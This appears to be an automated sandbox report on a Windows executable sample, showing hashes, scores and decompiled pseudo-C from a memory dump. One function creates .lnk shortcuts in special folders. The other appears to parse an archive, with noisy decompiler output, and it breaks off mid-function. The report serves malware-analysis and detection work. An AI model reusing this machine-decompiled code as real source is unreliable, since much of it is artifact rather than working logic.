Opcode ID: ee3a9b64024e76f4bf430920567e8bf6af21306f3b050522a7c71071a4c730ea
Instruction ID: 79bfce518a1b3777c3be141dac1d4c923f3e13946b8f7072fb596655451fe251
Opcode Fuzzy Hash: ee3a9b64024e76f4bf430920567e8bf6af21306f3b050522a7c71071a4c730ea
Instruction Fuzzy Hash: 1FA13BB1E04209AFDB10DFB9CD85AEEBBF9EF48304F144529E615F2291D778E9008B65

Uniqueness

Uniqueness Score: -1.00%

Function 004047E4, Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 263
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004047E4(signed short* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v20;
				char _v24;
				char _v36;
				intOrPtr _v44;
				char _v48;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				intOrPtr _v80;
				char _v84;
				intOrPtr _v92;
				char _v96;
				intOrPtr _v104;
				char _v108;
				char _v120;
				char _v644;
				signed int _t99;
				signed short* _t101;
				signed short* _t106;
				char* _t108;
				void* _t119;
				void* _t125;
				void* _t129;
				char* _t133;
				intOrPtr* _t134;
				intOrPtr* _t136;
				intOrPtr* _t138;
				intOrPtr* _t140;
				intOrPtr* _t142;
				intOrPtr* _t144;
				intOrPtr* _t146;
				intOrPtr* _t148;
				intOrPtr* _t150;
				signed int _t158;
				signed short* _t159;
				signed short* _t164;
				intOrPtr* _t174;
				signed short _t176;
				signed int _t179;
				signed short* _t237;
				void* _t238;

				_t174 = __imp___wtol;
				_t237 = __ecx;
				_t99 =  *__ecx & 0x0000ffff;
				if(_t99 < 0x30 || _t99 > 0x39) {
					_t176 = 0x20;
					_t101 = (_t99 | _t176) - 0x64;
					__eflags = _t101;
					if(_t101 == 0) {
						__eflags = (_t237[1] | _t176) - 0x75;
						_t16 = (0 | (_t237[1] | _t176) != 0x00000075) - 1; // -1
						_t106 = (_t16 & 0xfffffff7) + 0x19;
						__eflags = _t106;
						goto L11;
					}
					_t159 = _t101 - 0xc;
					__eflags = _t159;
					if(_t159 == 0) {
						__eflags = (_t237[1] | _t176) - 0x75;
						_t12 = (0 | (_t237[1] | _t176) != 0x00000075) - 1; // -1
						_t106 = (_t12 & 0xffffffeb) + 0x17;
						goto L11;
					}
					_t164 = _t159 - 3;
					__eflags = _t164;
					if(_t164 == 0) {
						__eflags = (_t237[1] | _t176) - 0x75;
						_t8 = (0 | (_t237[1] | _t176) != 0x00000075) - 1; // -1
						_t106 = (_t8 & 0xfffffff5) + 0x16;
						goto L11;
					}
					__eflags = _t164 != 1;
					if(_t164 != 1) {
						goto L37;
					} else {
						__eflags = (_t237[1] | _t176) - 0x75;
						_t4 = (0 | (_t237[1] | _t176) != 0x00000075) - 1; // -1
						_t106 = (_t4 & 0xffffffef) + 0x18;
						goto L11;
					}
				} else {
					_t106 =  *_t174(__ecx);
					L11:
					while(1) {
						_t179 =  *_t237 & 0x0000ffff;
						if(_t179 == 0x2c) {
							break;
						}
						__eflags = _t179;
						if(_t179 == 0) {
							L36:
							L37:
							return 0;
						}
						_t237 =  &(_t237[1]);
						__eflags = _t237;
					}
					_t108 =  &_v644;
					__imp__SHGetSpecialFolderPathW(0, _t108, _t106, 0);
					if(_t108 != 0) {
						E004147DF(E004147DF(E004147DF(E004147DF(E004147DF(E004147DF(E004147DF(E004147DF(E00414803( &_v36,  &_v644),  &_v48),  &_v84),  &_v72),  &_v96),  &_v24),  &_v108),  &_v60),  &_v120);
						_t119 = E004034A3(_t237,  &_v48);
						if(_v44 != 0) {
							_t125 = E004034A3(E004034A3(E004034A3(E004034A3(E004034A3(E004034A3(_t119,  &_v84),  &_v72),  &_v96),  &_v24),  &_v108),  &_v60);
							_t232 =  &_v120;
							E004034A3(_t125,  &_v120);
							_t238 =  *_t174(_v120);
							_t246 = _v20;
							if(_v20 == 0) {
								E00414864( &_v24, _v48 + 2 + E00403813( &_v48, _t246) * 2);
								_t158 = E00414A79( &_v24, 0x2e);
								if(_t158 >= 0) {
									_t232 = _v24;
									_v20 = _t158;
									 *((short*)(_v24 + _t158 * 2)) = 0;
								}
							}
							E00401585( &_v36, 0x5c);
							_t249 = _v68;
							if(_v68 != 0) {
								E00414962( &_v36, _t249,  &_v72);
								E00401585( &_v36, 0x5c);
							}
							_t129 = E0040468A(_v36, _t232);
							_t250 = _t129;
							if(_t129 != 0) {
								E00414962( &_v36, _t250,  &_v24);
								E00414922( &_v36, L".lnk");
								_t133 =  &_v8;
								_v8 = 0;
								__imp__CoCreateInstance(0x41fa64, 0, 1, 0x41fa14, _t133);
								if(_t133 >= 0) {
									_t134 = _v8;
									_v12 = 0;
									 *((intOrPtr*)( *_t134 + 0x50))(_t134, _v48);
									if(_v92 != 0) {
										_t150 = _v8;
										 *((intOrPtr*)( *_t150 + 0x1c))(_t150, _v96);
									}
									if(_v80 != 0) {
										_t148 = _v8;
										 *((intOrPtr*)( *_t148 + 0x2c))(_t148, _v84);
									}
									if(_v104 != 0) {
										_t146 = _v8;
										 *((intOrPtr*)( *_t146 + 0x24))(_t146, _v108);
									}
									if(_v56 != 0) {
										_t144 = _v8;
										 *((intOrPtr*)( *_t144 + 0x44))(_t144, _v60, _t238);
									}
									_t136 = _v8;
									_push( &_v12);
									_push(0x41fa44);
									_push(_t136);
									if( *((intOrPtr*)( *_t136))() >= 0) {
										_t140 = _v12;
										 *((intOrPtr*)( *_t140 + 0x18))(_t140, _v36, 1);
										_t142 = _v12;
										 *((intOrPtr*)( *_t142 + 8))(_t142);
									}
									_t138 = _v8;
									 *((intOrPtr*)( *_t138 + 8))(_t138);
								}
							}
						}
						_push(_v120);
						L0041C160();
						_push(_v60);
						L0041C160();
						_push(_v108);
						L0041C160();
						_push(_v24);
						L0041C160();
						_push(_v96);
						L0041C160();
						_push(_v72);
						L0041C160();
						_push(_v84);
						L0041C160();
						_push(_v48);
						L0041C160();
						_push(_v36);
						L0041C160();
					}
					goto L36;
				}
			}

0x004047ee
0x004047f5
0x004047f7
0x004047fd
0x0040480f
0x00404812
0x00404812
0x00404815
0x00404882
0x00404889
0x0040488f
0x0040488f
0x00000000
0x0040488f
0x00404817
0x00404817
0x0040481a
0x00404867
0x0040486e
0x00404874
0x00000000
0x00404874
0x0040481c
0x0040481c
0x0040481f
0x0040484c
0x00404853
0x00404859
0x00000000
0x00404859
0x00404821
0x00404822
0x00000000
0x00404828
0x00404831
0x00404838
0x0040483e
0x00000000
0x0040483e
0x00404804
0x00404805
0x00404892
0x004048a3
0x004048a3
0x004048a9
0x00000000
0x00000000
0x00404897
0x0040489a
0x00404aee
0x00404af0
0x00404af4
0x00404af4
0x004048a0
0x004048a0
0x004048a0
0x004048ad
0x004048b5
0x004048bd
0x0040490d
0x00404917
0x0040491f
0x0040495c
0x00404961
0x00404966
0x00404971
0x00404973
0x00404976
0x0040498b
0x00404995
0x0040499c
0x0040499e
0x004049a3
0x004049a6
0x004049a6
0x0040499c
0x004049af
0x004049b4
0x004049b7
0x004049c0
0x004049ca
0x004049ca
0x004049d2
0x004049d7
0x004049d9
0x004049e6
0x004049f3
0x004049f8
0x00404a09
0x00404a0c
0x00404a14
0x00404a1a
0x00404a20
0x00404a26
0x00404a2c
0x00404a2e
0x00404a37
0x00404a37
0x00404a3d
0x00404a3f
0x00404a48
0x00404a48
0x00404a4e
0x00404a50
0x00404a59
0x00404a59
0x00404a5f
0x00404a61
0x00404a6b
0x00404a6b
0x00404a6e
0x00404a76
0x00404a77
0x00404a7c
0x00404a81
0x00404a83
0x00404a8e
0x00404a91
0x00404a97
0x00404a97
0x00404a9a
0x00404aa0
0x00404aa0
0x00404a14
0x004049d9
0x00404aa3
0x00404aa6
0x00404aab
0x00404aae
0x00404ab3
0x00404ab6
0x00404abb
0x00404abe
0x00404ac3
0x00404ac6
0x00404acb
0x00404ace
0x00404ad3
0x00404ad6
0x00404adb
0x00404ade
0x00404ae3
0x00404ae6
0x00404aeb
0x00000000
0x004048bd

APIs

_wtol.MSVCRT ref: 00404805
SHGetSpecialFolderPathW.SHELL32(00000000,?,-0000001A,00000000), ref: 004048B5
_wtol.MSVCRT(?,?), ref: 0040496E
CoCreateInstance.OLE32(0041FA64,00000000,00000001,0041FA14,?,.lnk,?,0000005C), ref: 00404A0C
??3@YAXPAX@Z.MSVCRT ref: 00404AA6
??3@YAXPAX@Z.MSVCRT ref: 00404AAE
??3@YAXPAX@Z.MSVCRT ref: 00404AB6
??3@YAXPAX@Z.MSVCRT ref: 00404ABE
??3@YAXPAX@Z.MSVCRT ref: 00404AC6
??3@YAXPAX@Z.MSVCRT ref: 00404ACE
??3@YAXPAX@Z.MSVCRT ref: 00404AD6
??3@YAXPAX@Z.MSVCRT ref: 00404ADE
??3@YAXPAX@Z.MSVCRT ref: 00404AE6

Strings

.lnk, xrefs: 004049EB

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk
API String ID: 408529070-24824748
Opcode ID: aa159659859cbe8141855a2ff8dd6170e527daad8f81cefefa2808579e599679
Instruction ID: b36f4cba368feadbd9ca12eb67112cd6990ff22843eba92fdb7d435451052127
Opcode Fuzzy Hash: aa159659859cbe8141855a2ff8dd6170e527daad8f81cefefa2808579e599679
Instruction Fuzzy Hash: 8F919079900208ABCF14EFA5CC859EEB7B5AF84704B20453EF512BB1D1EB799E45CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0041A63E, Relevance: 19.9, APIs: 13, Instructions: 398
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0041A63E(signed int __ecx, void* __edx, void* __eflags, signed int _a4, char _a8, short _a12, signed int _a16, intOrPtr _a20, char _a24, signed int _a28, signed int _a32, unsigned int _a36, unsigned int _a40, unsigned int _a44, void* _a48, signed int _a52, signed int _a56, unsigned int _a60, unsigned int _a64, unsigned int _a68, signed int _a72, signed int _a76, signed int _a80, signed int _a84, signed int _a88, signed int _a92, signed int _a96, char _a100, intOrPtr* _a104, signed int _a108, signed int _a112, unsigned int _a116, signed int _a120, signed int _a124) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				char _v92;
				char _v117;
				char _v148;
				intOrPtr _v408;
				void* _v460;
				void* __ebx;
				signed int __edi;
				char* __esi;
				void* __ebp;
				signed int _t472;
				intOrPtr _t473;
				signed int _t479;
				signed int _t480;
				signed int _t485;
				signed int _t486;
				void* _t496;
				void* _t498;
				signed int _t501;
				signed int _t511;
				intOrPtr* _t515;
				signed int _t519;
				signed int _t520;
				signed int _t531;
				intOrPtr* _t534;
				signed int _t535;
				signed int _t536;
				void* _t537;
				void* _t539;
				signed int _t543;
				void* _t547;
				signed int _t549;
				signed int _t561;
				void* _t579;
				signed int _t581;
				signed int _t582;
				signed int _t583;
				intOrPtr* _t584;
				signed int _t585;
				unsigned int _t588;
				signed int _t590;
				signed int _t602;
				signed int _t613;
				void* _t616;
				signed int _t617;
				signed int _t625;
				intOrPtr* _t639;
				intOrPtr _t648;
				unsigned int _t650;
				void* _t652;
				void* _t653;
				intOrPtr* _t660;
				void* _t668;
				signed int _t703;
				void* _t723;
				signed int _t724;
				signed int _t725;
				signed int _t727;
				signed int _t731;
				signed int _t734;
				signed int _t735;
				signed int _t737;
				signed int _t739;
				intOrPtr _t740;
				signed int _t742;
				intOrPtr* _t744;
				intOrPtr* _t745;
				void* _t746;
				signed int _t747;
				intOrPtr* _t749;
				intOrPtr* _t751;
				intOrPtr* _t755;
				intOrPtr* _t756;
				signed int _t758;
				void* _t761;
				void* _t762;
				void* _t765;
				void* _t771;

				_t771 = __eflags;
				_t756 =  &_v92;
				_t762 = _t761 - 0xec;
				_push(_t746);
				_t734 = __ecx;
				_a76 = __ecx;
				E00418988( &_v52);
				_a60 = 0;
				_a64 = 0;
				_a68 = 0;
				_a36 = 0;
				_a40 = 0;
				_a44 = 0;
				_a48 = 0;
				_a52 = 0;
				_a56 = 0;
				E0041A533(0, __ecx, __edx, _t746, _t771, 0, _a104,  &_v52,  &_a60,  &_a36);
				_t468 = E00416FE1( &_v148, _t771,  *(_t734 + 0x78) & 0x000000ff);
				_t747 = 0;
				_a84 = 0;
				if(_v48 > 0) {
					while(1) {
						_a80 = E00419A20(_t468, _a108);
						_t472 = ( *( *_t756 + _t747) & 0x000000ff) +  *((intOrPtr*)(_v8 + _t747 * 4));
						_t625 = _v12;
						_t735 =  *(_t625 + _t472 * 8);
						_t473 =  *((intOrPtr*)(_t625 + 4 + _t472 * 8));
						__eflags = _t735 - _t735;
						if(_t735 != _t735) {
							break;
						}
						__eflags = 0 - _t473;
						if(0 != _t473) {
							break;
						} else {
							_t480 = E0040BBD0(_a80, _t735);
							_push(0x14);
							L0041C16C();
							__eflags = _t480;
							if(_t480 == 0) {
								_t747 = 0;
								__eflags = 0;
							} else {
								 *((intOrPtr*)(_t480 + 4)) = 0;
								 *_t480 = 0x41f9e0;
								_t747 = _t480;
							}
							__eflags = _t747;
							if(__eflags != 0) {
								 *((intOrPtr*)( *_t747 + 4))(_t747);
							}
							 *((intOrPtr*)(_t747 + 8)) =  *_a80;
							 *((intOrPtr*)(_t747 + 0x10)) = 0;
							 *(_t747 + 0xc) = _t735;
							asm("adc ecx, [ebp+0x64]");
							_t485 = E004171F6( &_v148,  *_a104 + _a96, _t747, __eflags,  *_a76,  *_a104 + _a96,  *((intOrPtr*)(_a104 + 4)),  &_v52, _a84, 0, _t747, 0, 0, _a112, _a116, _a120, _a124);
							_a72 = _t485;
							__eflags = _t485;
							if(_t485 != 0) {
								L17:
								 *((intOrPtr*)( *_t747 + 8))(_t747);
								E00417CCA( &_v148);
								_push(_a48);
								L0041C160();
								_push(_a36);
								L0041C160();
								_push(_a60);
								L0041C160();
								E004185D1( &_v52);
								_t479 = _a72;
								goto L2;
							} else {
								_t486 = E004192B9( &_v40, _a84);
								__eflags = _t486;
								if(_t486 == 0) {
									L14:
									 *((intOrPtr*)( *_t747 + 8))(_t747);
									_a84 = _a84 + 1;
									_t468 = _a84;
									__eflags = _a84 - _v48;
									if(_a84 < _v48) {
										_t747 = _a84;
										continue;
									} else {
										_t734 = _a76;
										goto L1;
									}
								} else {
									_t722 = _t735;
									_a80 = _v28 + _a84 * 4;
									_t496 = E0041BCE0( *_a80, _t722);
									_t639 = _a80;
									__eflags = _t496 -  *_t639;
									if(_t496 !=  *_t639) {
										E00418DE4(_t639, _t735);
										asm("int3");
										_push(_t756);
										_t758 = _t762 - 0x64;
										_t765 = _t762 - 0x90;
										_push(0);
										_push(_t747);
										_t749 = _t639;
										_push(_t735);
										_t498 = E00418FB1( *((intOrPtr*)(_t749 + 0x38)));
										_t613 = _a108;
										__eflags = _t498 - 2;
										if(_t498 != 2) {
											_t737 = 0;
											__eflags = 0;
										} else {
											_t737 = 0;
											__eflags = _t722;
											if(__eflags == 0) {
												E004197F9(_t749, _t722, __eflags, _t613 + 0xe0);
												_t498 = E00418FB1( *((intOrPtr*)(_t749 + 0x38)));
											}
										}
										_a72 = _t737;
										_a76 = _t737;
										_a80 = _t737;
										__eflags = _t498 - 3;
										if(_t498 != 3) {
											L28:
											_a36 = _t737;
											_a40 = _t737;
											_a44 = _t737;
											_v44 = _t737;
											_v40 = _t737;
											_v36 = _t737;
											_v32 = _t737;
											_v28 = _t737;
											_v24 = _t737;
											__eflags = _t498 - 4;
											if(_t498 == 4) {
												__eflags = _t722 - _t737;
												if(__eflags == 0) {
													_t744 = _t613 + 0xf8;
													E0041A533(_t613, _t749, _t722, _t749, __eflags,  &_a72, _t744, _t613,  &_a36,  &_v44);
													 *_t744 =  *_t744 +  *((intOrPtr*)(_t613 + 0xf0));
													asm("adc [edi+0x4], eax");
													_t498 = E00418FB1( *((intOrPtr*)(_t749 + 0x38)));
													_t737 = 0;
													__eflags = 0;
												}
											}
											 *(_t613 + 0x5c) = _t737;
											__eflags = _t498 - 5;
											if(__eflags != 0) {
												L104:
												E00419590(_t613, _t613, _t722, __eflags);
												_push(_v32);
												L0041C160();
												_push(_v44);
												L0041C160();
												_push(_a36);
												L0041C160();
												E0041969C( &_a72);
												_t501 = 0;
												__eflags = 0;
												goto L105;
											} else {
												__eflags = _t722 - _t737;
												if(__eflags == 0) {
													_a108 = E00418FE5( *((intOrPtr*)(_t749 + 0x38)), _t722, _t749, __eflags);
													E00419233(_t613 + 0x58, _t502);
													 *(_t613 + 0x5c) = _a108;
													E00419652(_t613 + 0x108, _t722, 9, _t737);
													E00419652(_t613 + 0x108, _t722, 6, _t737);
													__eflags = _a108 - _t737;
													if(__eflags > 0) {
														__eflags = _v40 - _t737;
														if(__eflags != 0) {
															E00419652(_t613 + 0x108, _t722, 0xa, _t737);
														}
													}
													_t739 = _a108;
													_a60 = 0;
													_a64 = 0;
													_a68 = 0;
													E00419725( &_a60, _t739, __eflags);
													_a24 = 0;
													_a28 = 0;
													_a32 = 0;
													_a48 = 0;
													_a52 = 0;
													_a56 = 0;
													_a124 = 0;
													while(1) {
														L86:
														_t511 = E00418FB1( *((intOrPtr*)(_t749 + 0x38)));
														_t648 =  *((intOrPtr*)(_t749 + 0x38));
														_a92 = _t511;
														__eflags = _t511 | _t722;
														_a96 = _t722;
														if((_t511 | _t722) == 0) {
															break;
														}
														_a84 = E00418FB1(_t648);
														_t514 =  *((intOrPtr*)(_t749 + 0x38));
														_t650 =  *((intOrPtr*)( *((intOrPtr*)(_t749 + 0x38)) + 4)) -  *((intOrPtr*)( *((intOrPtr*)(_t749 + 0x38)) + 8));
														_a88 = _t722;
														_t722 = 0;
														__eflags = _a88;
														if(__eflags > 0) {
															L106:
															_t515 = E00418DE4(_t650, _t739);
															asm("cdq");
															asm("stosd");
															asm("stosd");
															_t652 = _t650 + 2;
															_t723 = _t722 + _t652;
															asm("stosd");
															_t653 = _t652 + 1;
															 *((intOrPtr*)(_t723 + 0x41 + _t758 * 4)) =  *((intOrPtr*)(_t723 + 0x41 + _t758 * 4)) + _t515;
															 *0x120041ac =  *0x120041ac + _t653;
															asm("lodsb");
															 *_t739 =  *_t739 + _t723;
															asm("lodsb");
															 *_t515 =  *_t515 + _t515;
															asm("stosd");
															 *((intOrPtr*)(_t749 - 0x54)) =  *((intOrPtr*)(_t749 - 0x54)) + _t723;
															 *((intOrPtr*)(_t749 - 0x54)) =  *((intOrPtr*)(_t749 - 0x54)) + _t723;
															_t616 = _t613 + _t613 + _t723;
															asm("stosd");
															 *_t739 =  *_t739 + _t616;
															asm("lodsb");
															_t660 = _t653 + 7;
															_t356 =  &_v117;
															 *_t356 = _v117 + _t723;
															__eflags =  *_t356;
															_push(_t758);
															_push(_t616);
															_push(_t749);
															_push(_t739);
															_t740 = _v408;
															_t751 = _t660;
															E00418567(_t740);
															 *((intOrPtr*)(_t740 + 0xe8)) =  *((intOrPtr*)(_t751 + 0x40));
															 *((intOrPtr*)(_t740 + 0xec)) =  *((intOrPtr*)(_t751 + 0x44));
															 *(_t740 + 0xe0) =  *((intOrPtr*)(_t751 + 0x56));
															_t617 = 0;
															 *((char*)(_t740 + 0xe1)) =  *((intOrPtr*)(_t751 + 0x57));
															__eflags =  *(_t740 + 0xe0);
															if( *(_t740 + 0xe0) != 0) {
																L123:
																_t519 = 0;
																__eflags = 0;
																goto L124;
															} else {
																_t724 =  *(_t751 + 0x5c);
																_v20 =  *((intOrPtr*)(_t751 + 0x60));
																_v12 =  *((intOrPtr*)(_t751 + 0x64));
																_v8 =  *((intOrPtr*)(_t751 + 0x68));
																_a4 =  *((intOrPtr*)(_t751 + 0x6c));
																asm("adc ecx, ebx");
																_v24 = _t724;
																 *((intOrPtr*)(_t740 + 0xf0)) =  *((intOrPtr*)(_t751 + 0x40)) + 0x20;
																 *((intOrPtr*)(_t740 + 0xf4)) =  *((intOrPtr*)(_t751 + 0x44));
																 *((intOrPtr*)(_t740 + 0x128)) = 0x20;
																 *((intOrPtr*)(_t740 + 0x12c)) = 0;
																 *((char*)(_t740 + 0x130)) = 0;
																__eflags = _v20;
																if(__eflags < 0) {
																	goto L123;
																} else {
																	if(__eflags > 0) {
																		L111:
																		__eflags = _v8 - 0x40000000;
																		if(__eflags > 0) {
																			goto L123;
																		} else {
																			if(__eflags < 0) {
																				L114:
																				_t519 = _v12 | _v8;
																				__eflags = _t519;
																				if(_t519 != 0) {
																					__eflags =  *((intOrPtr*)(_t740 + 0x134)) - _t617;
																					if( *((intOrPtr*)(_t740 + 0x134)) == _t617) {
																						 *((char*)(_t740 + 0x130)) = 1;
																					}
																					asm("adc ecx, ebx");
																					 *((intOrPtr*)(_t751 + 0x70)) =  *((intOrPtr*)(_t751 + 0x70)) + _v12 + 0x20;
																					asm("adc [esi+0x74], ecx");
																					_t531 = _v12 + _t724;
																					_t725 = _v8;
																					asm("adc edx, [ebp-0x10]");
																					_v32 = _t531;
																					asm("adc ecx, ebx");
																					 *((intOrPtr*)(_t740 + 0x128)) = _t531 + 0x20;
																					 *((intOrPtr*)(_t740 + 0x12c)) = _t725;
																					_t668 =  *((intOrPtr*)(_t751 + 0x48)) -  *((intOrPtr*)(_t740 + 0xf0));
																					asm("sbb eax, [edi+0xf4]");
																					__eflags =  *((intOrPtr*)(_t751 + 0x4c)) - _t725;
																					if(__eflags > 0) {
																						L126:
																						_t534 =  *_t751;
																						_t520 =  *((intOrPtr*)( *_t534 + 0x10))(_t534, _v24, _v20, 1, _t617);
																						__eflags = _t520 - _t617;
																						if(_t520 == _t617) {
																							_t535 = _v12;
																							__eflags = _t535 - _t535;
																							if(_t535 != _t535) {
																								L129:
																								_t520 = 0x8007000e;
																							} else {
																								__eflags = _t617 - _v8;
																								if(_t617 == _v8) {
																									_push(_v12);
																									L0041C16C();
																									_v32 = _t535;
																									_t536 = E0041670E(_v12); // executed
																									__eflags = _t536 - _t617;
																									if(_t536 == _t617) {
																										_t727 = _v12;
																										_t672 = _v32;
																										_t537 = E0041BCE0(_v32, _t727);
																										__eflags = _t537 - _a4;
																										if(_t537 != _a4) {
																											L134:
																											E00418DE4(_t672, _t740);
																										}
																										__eflags =  *((intOrPtr*)(_t740 + 0x134)) - _t617;
																										if( *((intOrPtr*)(_t740 + 0x134)) == _t617) {
																											 *((char*)(_t740 + 0x131)) = 1;
																										}
																										_push(_t617);
																										_v20 = _t617;
																										E004192D4( &_v24, _t751, _v32, _v12);
																										_t672 =  *((intOrPtr*)(_t751 + 0x38));
																										_v16 = _t617;
																										_v12 = _t617;
																										_v8 = _t617;
																										_t539 = E00418FB1( *((intOrPtr*)(_t751 + 0x38)));
																										__eflags = _t539 - 1;
																										if(_t539 != 1) {
																											L139:
																											__eflags = _t539 - 0x17;
																											if(_t539 != 0x17) {
																												goto L134;
																											} else {
																												__eflags = _t727 - _t617;
																												if(__eflags != 0) {
																													goto L134;
																												} else {
																													_push(_a20);
																													_push(_a16);
																													_t672 = _t751;
																													_push(_a12);
																													_t543 = E0041A63E(_t751, _t727, __eflags,  *((intOrPtr*)(_t740 + 0xf0)),  *((intOrPtr*)(_t740 + 0xf4)), _t740 + 0x100,  &_v16, _a8);
																													_a4 = _t543;
																													__eflags = _t543 - _t617;
																													if(_t543 == _t617) {
																														__eflags = _v12 - _t617;
																														if(_v12 != _t617) {
																															__eflags = _v12 - 1;
																															if(_v12 > 1) {
																																goto L134;
																															} else {
																																E00418E1D( &_v24);
																																E004192FE(_t751,  *_v16);
																																_t672 =  *((intOrPtr*)(_t751 + 0x38));
																																_t547 = E00418FB1( *((intOrPtr*)(_t751 + 0x38)));
																																__eflags = _t547 - 1;
																																if(_t547 != 1) {
																																	goto L134;
																																} else {
																																	__eflags = _t727 - _t617;
																																	if(_t727 != _t617) {
																																		goto L134;
																																	} else {
																																		goto L148;
																																	}
																																}
																															}
																														} else {
																															E0041969C( &_v16);
																															E00418E1D( &_v24);
																															goto L132;
																														}
																													} else {
																														E0041969C( &_v16);
																														E00418E1D( &_v24);
																														_t617 = _a4;
																														goto L132;
																													}
																												}
																											}
																										} else {
																											__eflags = _t727 - _t617;
																											if(_t727 == _t617) {
																												L148:
																												_push(_a20);
																												 *((char*)(_t740 + 0x130)) = 1;
																												_push(_a16);
																												_push(_a12);
																												 *((intOrPtr*)(_t740 + 0x120)) =  *((intOrPtr*)(_t751 + 0x70));
																												_push(_a8);
																												_t549 =  *(_t751 + 0x74);
																												_push(_t740);
																												 *(_t740 + 0x124) = _t549;
																												L19();
																												E0041969C( &_v16);
																												E00418E1D( &_v24);
																												_push(_v32);
																												L0041C160();
																												_t520 = _t549;
																											} else {
																												goto L139;
																											}
																										}
																									} else {
																										_t617 = _t536;
																										L132:
																										_push(_v32);
																										L0041C160();
																										_t520 = _t617;
																									}
																								} else {
																									goto L129;
																								}
																							}
																						}
																					} else {
																						if(__eflags < 0) {
																							L122:
																							 *((char*)(_t740 + 0x133)) = 1;
																							goto L123;
																						} else {
																							__eflags = _t668 - _v32;
																							if(_t668 >= _v32) {
																								goto L126;
																							} else {
																								goto L122;
																							}
																						}
																					}
																				} else {
																					__eflags = _t724 | _v20;
																					if((_t724 | _v20) != 0) {
																						L124:
																						_t520 = _t519 + 1;
																						__eflags = _t520;
																					} else {
																						 *((char*)(_t740 + 0x130)) = 1;
																					}
																				}
																			} else {
																				__eflags = _v12 - _t617;
																				if(_v12 > _t617) {
																					goto L123;
																				} else {
																					goto L114;
																				}
																			}
																		}
																	} else {
																		__eflags = _t724;
																		if(_t724 < 0) {
																			goto L123;
																		} else {
																			goto L111;
																		}
																	}
																}
															}
															return _t520;
														} else {
															if(__eflags < 0) {
																L40:
																_push(1);
																_a4 = _t722;
																E004192D4(_t758, _t749,  *((intOrPtr*)(_t514 + 8)) +  *_t514, _a84);
																_t739 = 0;
																__eflags = _a96;
																if(__eflags > 0) {
																	L83:
																	 *((char*)(_t613 + 0x135)) = 1;
																	 *((intOrPtr*)( *((intOrPtr*)(_t749 + 0x38)) + 8)) =  *((intOrPtr*)( *((intOrPtr*)(_t749 + 0x38)) + 4));
																	goto L84;
																} else {
																	if(__eflags < 0) {
																		L43:
																		_t561 = _a92 + 0xfffffff2;
																		__eflags = _t561 - 0xb;
																		if(__eflags > 0) {
																			goto L83;
																		} else {
																			switch( *((intOrPtr*)(_t561 * 4 +  &M0041ADD2))) {
																				case 0:
																					__eax =  &_a60;
																					__ecx = __esi;
																					__eax = E00419845(__esi, __edx, _a108,  &_a60);
																					__eax = 0;
																					_a124 = __edi;
																					__eflags = _a64 - __edi;
																					if(__eflags > 0) {
																						do {
																							__ecx = _a60;
																							__eflags =  *((char*)(__ecx + __eax));
																							if( *((char*)(__ecx + __eax)) != 0) {
																								_t244 =  &_a124;
																								 *_t244 = _a124 + 1;
																								__eflags =  *_t244;
																							}
																							__eax = __eax + 1;
																							__eflags = __eax - _a64;
																						} while (__eflags < 0);
																					}
																					__edi = _a124;
																					 &_a24 = E00419725( &_a24, __edi, __eflags);
																					 &_a48 = E00419725( &_a48, __edi, __eflags);
																					goto L54;
																				case 1:
																					__eax =  &_a24;
																					goto L67;
																				case 2:
																					__eax =  &_a48;
																					L67:
																					__ecx = __esi;
																					__eax = E00419845(__ecx, __edx, _a124, __eax);
																					goto L54;
																				case 3:
																					_v16 = _t739;
																					E00419747( &_v20, _t722, _t758, __eflags, _t749,  &_a72);
																					_t739 =  *((intOrPtr*)( *((intOrPtr*)(_t749 + 0x38)) + 4)) -  *((intOrPtr*)( *((intOrPtr*)(_t749 + 0x38)) + 8));
																					E0040BBD0(_t613 + 0xd0, _t739);
																					E00418E93( *((intOrPtr*)(_t749 + 0x38)),  *((intOrPtr*)(_t613 + 0xd0)), _t739);
																					E0041911E(_t613 + 0xd8, __eflags,  *(_t613 + 0x5c) + 1);
																					_t722 = 0;
																					_t570 = 0;
																					_a116 = 0;
																					_a112 = 0;
																					__eflags =  *(_t613 + 0x5c);
																					if( *(_t613 + 0x5c) <= 0) {
																						L51:
																						_t722 = _t722 >> 1;
																						 *( *((intOrPtr*)(_t613 + 0xd8)) + _t570 * 4) = _t722;
																						__eflags = _a116 - _t739;
																						if(_a116 != _t739) {
																							 *((char*)(_t749 + 0x3c)) = 1;
																						}
																						E00418E1D( &_v20);
																						goto L54;
																					} else {
																						do {
																							_a120 = _a120 & 0x00000000;
																							_t574 =  *((intOrPtr*)(_t613 + 0xd0)) + _t722;
																							_t650 = _t739 - _t722 >> 1;
																							__eflags = _t650;
																							if(_t650 != 0) {
																								while(1) {
																									_t722 = _a120;
																									__eflags =  *((short*)(_t574 + _t722 * 2));
																									if( *((short*)(_t574 + _t722 * 2)) == 0) {
																										goto L49;
																									}
																									_a120 = _a120 + 1;
																									__eflags = _a120 - _t650;
																									if(_a120 < _t650) {
																										continue;
																									}
																									goto L49;
																								}
																							}
																							L49:
																							__eflags = _a120 - _t650;
																							if(_a120 == _t650) {
																								goto L106;
																							} else {
																								goto L50;
																							}
																							goto L149;
																							L50:
																							_t575 = _a112;
																							 *( *((intOrPtr*)(_t613 + 0xd8)) + _t575 * 4) = _a116 >> 1;
																							_t570 = _t575 + 1;
																							_t722 = _a116 + 2 + _a120 * 2;
																							_a116 = _t722;
																							_a112 = _t570;
																							__eflags = _t570 -  *(_t613 + 0x5c);
